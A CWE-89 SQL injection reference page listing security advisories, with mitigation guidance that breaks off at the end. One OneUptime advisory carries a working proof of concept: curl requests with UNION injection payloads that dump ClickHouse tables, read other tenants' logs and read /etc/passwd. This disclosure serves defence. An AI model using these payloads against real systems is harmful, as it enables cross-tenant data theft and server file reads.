CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27431 vulnerabilities reference this CWE, most recent first.
GHSA-P59F-H3WR-46JG
Vulnerability from github – Published: 2022-05-01 23:54 – Updated: 2022-05-01 23:54SQL injection vulnerability in index.php in MyBizz-Classifieds allows remote attackers to execute arbitrary SQL commands via the cat parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2845"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-25T12:36:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in index.php in MyBizz-Classifieds allows remote attackers to execute arbitrary SQL commands via the cat parameter.",
"id": "GHSA-p59f-h3wr-46jg",
"modified": "2022-05-01T23:54:04Z",
"published": "2022-05-01T23:54:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2845"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43195"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5854"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30724"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29798"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P59R-GRFX-737J
Vulnerability from github – Published: 2022-04-30 18:23 – Updated: 2022-04-30 18:23SQL injection vulnerability in f2html.pl 0.1 through 0.4 allows remote attackers to execute arbitrary SQL commands via file names.
{
"affected": [],
"aliases": [
"CVE-2002-2383"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in f2html.pl 0.1 through 0.4 allows remote attackers to execute arbitrary SQL commands via file names.",
"id": "GHSA-p59r-grfx-737j",
"modified": "2022-04-30T18:23:04Z",
"published": "2022-04-30T18:23:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2383"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/9596"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/5123"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P5F6-24C7-FW7H
Vulnerability from github – Published: 2022-05-01 07:42 – Updated: 2022-05-01 07:42SQL injection vulnerability in admin.asp in ASPTicker 1.0 allows remote attackers to execute arbitrary SQL commands via the PATH_INFO, possibly related to the Password parameter.
{
"affected": [],
"aliases": [
"CVE-2006-6848"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in admin.asp in ASPTicker 1.0 allows remote attackers to execute arbitrary SQL commands via the PATH_INFO, possibly related to the Password parameter.",
"id": "GHSA-p5f6-24c7-fw7h",
"modified": "2022-05-01T07:42:00Z",
"published": "2022-05-01T07:42:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6848"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/31152"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/3035"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/23573"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/21807"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/5200"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P5F7-7C84-5P32
Vulnerability from github – Published: 2022-05-02 03:58 – Updated: 2022-05-02 03:58SQL injection vulnerability in the Quick News (com_quicknews) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the newsid parameter in a view_item action to index.php.
{
"affected": [],
"aliases": [
"CVE-2009-4785"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-21T14:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the Quick News (com_quicknews) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the newsid parameter in a view_item action to index.php.",
"id": "GHSA-p5f7-7c84-5p32",
"modified": "2022-05-02T03:58:12Z",
"published": "2022-05-02T03:58:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4785"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/0911-exploits/joomla-quicknews.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37161"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P5FV-VQM7-PQCW
Vulnerability from github – Published: 2022-05-01 17:47 – Updated: 2022-05-01 17:47SQL injection vulnerability in Mambo before 4.5.5 allows remote attackers to execute arbitrary SQL commands via unspecified vectors in cancel edit functions, possibly related to the id parameter.
{
"affected": [],
"aliases": [
"CVE-2007-0789"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-02-06T19:28:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in Mambo before 4.5.5 allows remote attackers to execute arbitrary SQL commands via unspecified vectors in cancel edit functions, possibly related to the id parameter.",
"id": "GHSA-p5fv-vqm7-pqcw",
"modified": "2022-05-01T17:47:03Z",
"published": "2022-05-01T17:47:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0789"
},
{
"type": "WEB",
"url": "http://mamboxchange.com/frs/shownotes.php?release_id=6232"
},
{
"type": "WEB",
"url": "http://osvdb.org/33088"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24044"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/0480"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P5G2-JM85-8G35
Vulnerability from github – Published: 2026-03-13 20:00 – Updated: 2026-03-16 17:06Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check — no allowlist
}
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
// StatementGenerator.ts:527
statement.append(
`${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation — "trusted SQL"
return this;
}
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
statement.append(
`toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
Attack flow:
1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate)
2. Request body contains aggregateBy.aggregationType set to a SQL injection payload
3. Payload passes truthiness check at line 276
4. Payload is concatenated into SQL via .append() at line 527
5. ClickHouse executes the injected SQL
PoC
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"user@example.com","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Verify the vulnerability in source code:
# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only
# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`
# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"
# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0
Impact
Full ClickHouse database compromise. An authenticated user (any role) can:
- Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own
- Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users
- Server-side file read — Via ClickHouse's
file()table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem - Remote code execution — Via ClickHouse's
url()table function, make HTTP requests from the server (SSRF), or viaexecutable()table function, execute OS commands - Credential theft — ClickHouse default configuration (
defaultuser, password from env) could be leveraged to connect directly
The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.
Proposed Fix
// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];
if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
throw new BadRequestException(
`Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
`Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
);
}
// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
throw new BadRequestException(
`Invalid column: ${aggregateBy.aggregateColumnName}`
);
}
// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
!modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
throw new BadRequestException(
`Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
);
}
// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "oneuptime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32306"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:00:34Z",
"nvd_published_at": "2026-03-13T19:54:42Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point \u2014 `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy\u003cTBaseModel\u003e = JSONFunctions.deserialize(\n req.body[\"aggregateBy\"]\n) as AggregateBy\u003cTBaseModel\u003e;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation \u2014 `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n // Only truthiness check \u2014 no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection \u2014 `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n this.query += text; // Raw concatenation \u2014 \"trusted SQL\"\n return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST \u0027https://TARGET/identity/login\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"email\":\"user@example.com\",\"password\":\"password123\"}\u0027 \\\n | jq -r \u0027.token\u0027)\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027tenantid: PROJECT_ID\u0027 \\\n -d \u0027{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = \u0027\\\u0027\u0027oneuptime\u0027\\\u0027\u0027 --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }\u0027\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027tenantid: PROJECT_ID\u0027 \\\n -d \u0027{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }\u0027\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST \u0027https://TARGET/api/log/aggregate\u0027 \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027tenantid: PROJECT_ID\u0027 \\\n -d \u0027{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file(\u0027\\\u0027\u0027/etc/passwd\u0027\\\u0027\u0027) --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }\u0027\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n \u0027aggregationType\u0027 Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { \u2014 truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n \u0027aggregationType.*aggregateColumnName\u0027 Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 \u0027public append\u0027 Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; \u2014 \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 \u0027aggregateBy\u0027 Common/Server/API/BaseAnalyticsAPI.ts | grep -c \u0027validate\\|sanitize\\|allowlist\u0027\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** \u2014 Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** \u2014 INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** \u2014 Via ClickHouse\u0027s `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** \u2014 Via ClickHouse\u0027s `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** \u2014 ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = [\u0027AVG\u0027, \u0027SUM\u0027, \u0027COUNT\u0027, \u0027MIN\u0027, \u0027MAX\u0027, \u0027UNIQ\u0027];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n throw new BadRequestException(\n `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(\u0027, \u0027)}`\n );\n}\n\n// 2. Validate aggregateColumnName against the model\u0027s known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n throw new BadRequestException(\n `Invalid column: ${aggregateBy.aggregateColumnName}`\n );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName \u0026\u0026\n !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n throw new BadRequestException(\n `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter(\u0027aggregationType\u0027, aggregateBy.aggregationType);\nstatement.addParameter(\u0027columnName\u0027, aggregateBy.aggregateColumnName);\n```",
"id": "GHSA-p5g2-jm85-8g35",
"modified": "2026-03-16T17:06:56Z",
"published": "2026-03-13T20:00:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
},
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": " OneUptime ClickHouse SQL Injection via Aggregate Query Parameters"
}
GHSA-P5G4-23JM-F3JQ
Vulnerability from github – Published: 2021-12-23 00:01 – Updated: 2022-05-14 00:01An exploitable SQL injection vulnerability exist in the ‘group_list’ page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request at 'description_filter’ parameter. An attacker can make authenticated HTTP requests to trigger this vulnerability. This can be done as any authenticated user or through cross-site request forgery.
{
"affected": [],
"aliases": [
"CVE-2021-21916"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-22T19:15:00Z",
"severity": "CRITICAL"
},
"details": "An exploitable SQL injection vulnerability exist in the \u2018group_list\u2019 page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request at \u0027description_filter\u2019 parameter. An attacker can make authenticated HTTP requests to trigger this vulnerability. This can be done as any authenticated user or through cross-site request forgery.",
"id": "GHSA-p5g4-23jm-f3jq",
"modified": "2022-05-14T00:01:37Z",
"published": "2021-12-23T00:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21916"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1363"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P5G4-2WHH-FVPW
Vulnerability from github – Published: 2026-05-16 18:31 – Updated: 2026-05-16 18:31Fuel CMS 1.4.13 contains a blind SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the 'col' parameter in the Activity Log interface. Attackers can send requests to the logs endpoint with malicious SQL payloads in the 'col' parameter to extract database information based on response time delays.
{
"affected": [],
"aliases": [
"CVE-2021-47980"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-16T16:16:23Z",
"severity": "HIGH"
},
"details": "Fuel CMS 1.4.13 contains a blind SQL injection vulnerability that allows authenticated attackers to manipulate database queries by injecting SQL code through the \u0027col\u0027 parameter in the Activity Log interface. Attackers can send requests to the logs endpoint with malicious SQL payloads in the \u0027col\u0027 parameter to extract database information based on response time delays.",
"id": "GHSA-p5g4-2whh-fvpw",
"modified": "2026-05-16T18:31:39Z",
"published": "2026-05-16T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47980"
},
{
"type": "WEB",
"url": "https://github.com/daylightstudio/FUEL-CMS/archive/1.4.13.zip"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50523"
},
{
"type": "WEB",
"url": "https://www.getfuelcms.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/fuel-cms-blind-sql-injection-via-col-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P5GC-747C-W32P
Vulnerability from github – Published: 2025-05-15 18:31 – Updated: 2025-05-15 18:31A vulnerability was found in projectworlds Online Examination System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /Procedure3b_yearwiseVisit.php. The manipulation of the argument Visit_year leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-4706"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-15T17:15:55Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in projectworlds Online Examination System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /Procedure3b_yearwiseVisit.php. The manipulation of the argument Visit_year leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-p5gc-747c-w32p",
"modified": "2025-05-15T18:31:47Z",
"published": "2025-05-15T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4706"
},
{
"type": "WEB",
"url": "https://github.com/Welhelm666/666/issues/2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.309004"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.309004"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.567923"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P5GH-QFXR-5Q3Q
Vulnerability from github – Published: 2022-05-14 00:01 – Updated: 2022-05-24 00:01Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/classes/Master.php?f=delete_cargo.
{
"affected": [],
"aliases": [
"CVE-2022-30372"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-13T13:15:00Z",
"severity": "HIGH"
},
"details": "Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/classes/Master.php?f=delete_cargo.",
"id": "GHSA-p5gh-qfxr-5q3q",
"modified": "2022-05-24T00:01:34Z",
"published": "2022-05-14T00:01:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30372"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/vendors/oretnom23/air-cargo-management-system/SQLi-2.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
